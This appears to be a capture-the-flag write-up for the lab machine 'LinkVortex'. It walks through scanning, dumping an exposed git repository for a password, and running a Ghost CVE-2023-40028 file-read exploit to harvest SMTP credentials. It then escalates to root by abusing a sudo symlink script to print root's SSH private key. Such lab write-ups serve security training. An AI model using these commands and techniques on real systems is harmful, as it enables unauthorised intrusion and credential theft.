LinkVortex 🔹
Enumeration
$ nmap -A -T4 --min-rate 5000 -p- -n -Pn --open 10.10.11.47
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 20:45 CEST
Nmap scan report for 10.10.11.47
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 41.01 ms 10.10.14.1
2 42.05 ms 10.10.11.47
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.64 seconds
Add linkvortex.htb to /etc/hosts and enter the webserver which is a hardware blog powered by Ghost service.
Nikto find robots.txt with /ghost
Using wfuzz discover /dev subdomain and add it to /etc/hosts
$ wfuzz -c --hh=230 -t 200 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.linkvortex.htb" http://linkvortex.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://linkvortex.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 115 L 255 W 2538 Ch "dev"
Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0
With feroxbuster we find a .git so using git-dumpener
$ python git-dumper/git_dumper.py http://dev.linkvortex.htb ./git
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
...
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index
There is a dev@linkvortex.htb
$ cat .git/logs/HEAD
0000000000000000000000000000000000000000 299cdb4387763f850887275a716153e84793077d root <dev@linkvortex.htb> 1730322603 +0000 clone: from https://github.com/TryGhost/Ghost.git
The status shows two new files that are new
$ git status
Not currently on any branch.
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: Dockerfile.ghost
modified: ghost/core/test/regression/api/admin/authentication.test.js
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh
ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]
Show the other one's changes
$ git diff --staged
diff --git a/Dockerfile.ghost b/Dockerfile.ghost
n...
--- a/ghost/core/test/regression/api/admin/authentication.test.js
+++ b/ghost/core/test/regression/api/admin/authentication.test.js
@@ -53,7 +53,7 @@ describe('Authentication API', function () {
it('complete setup', async function () {
const email = 'test@example.com';
- const password = 'thisissupersafe';
+ const password = 'OctopiFociPilfer45';
const requestMock = nock('https://api.github.com')
.get('/repos/tryghost/dawn/zipball')
So there is a new password OctopiFociPilfer45
The password works in the main domain.
There is a LFI vulnerability https://github.com/TryGhost/Ghost/security/advisories/GHSA-9c9v-w225-v5rg so using an exploit https://github.com/0xyassine/CVE-2023-40028/blob/master/CVE-2023-40028.sh
$ ./exploit.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}
So bob@linkvortex.htb:fibber-talented-worth
Initial Access
Access SSH with bob password
$ ssh bob@linkvortex.htb
bob@linkvortex.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Tue Dec 3 11:41:50 2024 from 10.10.14.62
bob@linkvortex:~$ whoami
bob
Get the flag
Privilege Escalation
The user has sudo privileges to execute:
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Looking at the script
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
If the link points to /etc or /root it gets deleted, if not, can be read if the variable CHECK_CONTENT is other than empty. So first export the variable to true, then, create a link of a link, the script only the first link so.
Let's try to read root's id_rsa.
bob@linkvortex:~$ ln -s /root/.ssh/id_rsa /home/bob/second
bob@linkvortex:~$ ln -s /home/bob/second first.png
bob@linkvortex:~$ ls
first.png second user.txt
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh first.png
Link found [ first.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Now the only thing is left is to access as root via the private key.
$ ssh root@10.10.11.47 -i id_rsa
The authenticity of host '10.10.11.47 (10.10.11.47)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:41: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.47' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Dec 2 11:20:43 2024 from 10.10.14.61
root@linkvortex:~# whoami
root